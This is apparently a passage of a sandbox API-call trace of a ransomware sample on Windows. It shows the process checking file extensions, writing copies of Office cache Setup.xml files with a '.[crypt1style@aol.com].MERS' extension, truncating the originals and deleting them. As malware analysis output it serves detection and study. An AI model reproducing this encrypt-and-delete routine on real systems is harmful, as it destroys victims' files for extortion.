[0034.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString=".1cd") returned 4 [0034.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.906] lstrlenW (lpString=".jpg") returned 4 [0034.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString=".doc") returned 4 [0034.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString=".docx") returned 5 [0034.907] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.907] lstrlenW (lpString=".pdf") returned 4 [0034.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString=".xls") returned 4 [0034.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString=".xlsx") returned 5 [0034.907] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.907] lstrlenW (lpString=".ppt") returned 4 [0034.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString=".zip") returned 4 [0034.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.907] lstrlenW (lpString=".rar") returned 4 [0034.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString=".bz2") returned 4 [0034.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString=".7z") returned 3 [0034.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString=".dbf") returned 4 [0034.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString=".1cd") returned 4 [0034.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0034.907] lstrlenW (lpString=".jpg") returned 4 [0034.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.908] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.908] lstrlenW (lpString="Setup.xml") returned 9 [0034.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.916] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6241) returned 1 [0034.916] CloseHandle (hObject=0x1d8) returned 1 [0034.916] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.916] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.916] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.916] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.920] GetLastError () returned 0x0 [0034.920] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x1861, lpOverlapped=0x0) returned 1 [0034.940] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0034.941] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.941] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.941] SetEndOfFile (hFile=0x1e8) returned 1 [0034.941] CloseHandle (hObject=0x1e8) returned 1 [0034.942] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.942] SetEndOfFile (hFile=0x1d8) returned 1 [0034.943] CloseHandle (hObject=0x1d8) returned 1 [0034.943] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.943] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.944] lstrlenW (lpString=".doc") returned 4 [0034.944] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.944] lstrlenW (lpString=".docx") returned 5 [0034.944] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.944] lstrlenW (lpString=".pdf") returned 4 [0034.944] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.944] lstrlenW (lpString=".xls") returned 4 [0034.944] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.944] lstrlenW (lpString=".xlsx") returned 5 [0034.944] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.944] lstrlenW (lpString=".ppt") returned 4 [0034.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.944] lstrlenW (lpString=".zip") returned 4 [0034.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.944] lstrlenW (lpString=".rar") returned 4 [0034.944] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.944] lstrlenW (lpString=".bz2") returned 4 [0034.944] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString=".7z") returned 3 [0034.945] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString=".dbf") returned 4 [0034.945] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString=".1cd") returned 4 [0034.945] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString=".jpg") returned 4 [0034.945] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString=".doc") returned 4 [0034.945] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString=".docx") returned 5 [0034.945] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.945] lstrlenW (lpString=".pdf") returned 4 [0034.945] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString=".xls") returned 4 [0034.945] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString=".xlsx") returned 5 [0034.945] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.945] lstrlenW (lpString=".ppt") returned 4 [0034.945] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.945] lstrlenW (lpString=".zip") returned 4 [0034.945] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.945] lstrlenW (lpString=".rar") returned 4 [0034.945] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.946] lstrlenW (lpString=".bz2") returned 4 [0034.946] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.946] lstrlenW (lpString=".7z") returned 3 [0034.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.946] lstrlenW (lpString=".dbf") returned 4 [0034.946] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.946] lstrlenW (lpString=".1cd") returned 4 [0034.946] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.946] lstrlenW (lpString=".jpg") returned 4 [0034.946] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.946] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.946] lstrlenW (lpString="Setup.xml") returned 9 [0034.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.949] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1988) returned 1 [0034.949] CloseHandle (hObject=0x1d8) returned 1 [0034.949] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.949] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.949] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.949] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0034.950] GetLastError () returned 0x0 [0034.950] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0034.968] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0034.969] ReadFile (in: hFile=0x1d8, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.969] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.969] SetEndOfFile (hFile=0x1e8) returned 1 [0034.969] CloseHandle (hObject=0x1e8) returned 1 [0034.970] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.970] SetEndOfFile (hFile=0x1d8) returned 1 [0034.971] CloseHandle (hObject=0x1d8) returned 1 [0034.971] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.971] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.971] lstrlenW (lpString=".doc") returned 4 [0034.971] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.971] lstrlenW (lpString=".docx") returned 5 [0034.971] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.971] lstrlenW (lpString=".pdf") returned 4 [0034.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.971] lstrlenW (lpString=".xls") returned 4 [0034.972] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString=".xlsx") returned 5 [0034.972] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.972] lstrlenW (lpString=".ppt") returned 4 [0034.972] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString=".zip") returned 4 [0034.972] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.972] lstrlenW (lpString=".rar") returned 4 [0034.972] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString=".bz2") returned 4 [0034.972] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString=".7z") returned 3 [0034.972] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString=".dbf") returned 4 [0034.972] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString=".1cd") returned 4 [0034.972] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString=".jpg") returned 4 [0034.972] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.972] lstrlenW (lpString=".doc") returned 4 [0034.972] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString=".docx") returned 5 [0034.972] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.972] lstrlenW (lpString=".pdf") returned 4 [0034.972] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.972] lstrlenW (lpString=".xls") returned 4 [0034.973] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString=".xlsx") returned 5 [0034.973] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.973] lstrlenW (lpString=".ppt") returned 4 [0034.973] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.973] lstrlenW (lpString=".zip") returned 4 [0034.973] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.973] lstrlenW (lpString=".rar") returned 4 [0034.973] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString=".bz2") returned 4 [0034.973] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString=".7z") returned 3 [0034.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.973] lstrlenW (lpString=".dbf") returned 4 [0034.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.973] lstrlenW (lpString=".1cd") returned 4 [0034.973] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.973] lstrlenW (lpString=".jpg") returned 4 [0034.973] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.973] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.973] lstrlenW (lpString="Setup.xml") returned 9 [0034.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.244] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1872) returned 1 [0035.244] CloseHandle (hObject=0x1e4) returned 1 [0035.244] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.244] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.245] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.245] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0035.246] GetLastError () returned 0x0 [0035.246] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x750, lpOverlapped=0x0) returned 1 [0035.418] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x760, lpOverlapped=0x0) returned 1 [0035.419] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.420] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.420] SetEndOfFile (hFile=0x1f0) returned 1 [0035.420] CloseHandle (hObject=0x1f0) returned 1 [0035.421] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.421] SetEndOfFile (hFile=0x1e4) returned 1 [0035.422] CloseHandle (hObject=0x1e4) returned 1 [0035.422] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.423] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.423] lstrlenW (lpString=".doc") returned 4 [0035.423] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.423] lstrlenW (lpString=".docx") returned 5 [0035.423] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.423] lstrlenW (lpString=".pdf") returned 4 [0035.423] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.423] lstrlenW (lpString=".xls") returned 4 [0035.423] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.423] lstrlenW (lpString=".xlsx") returned 5 [0035.423] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.423] lstrlenW (lpString=".ppt") returned 4 [0035.423] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.423] lstrlenW (lpString=".zip") returned 4 [0035.423] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.424] lstrlenW (lpString=".rar") returned 4 [0035.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString=".bz2") returned 4 [0035.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.424] lstrlenW (lpString=".7z") returned 3 [0035.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.424] 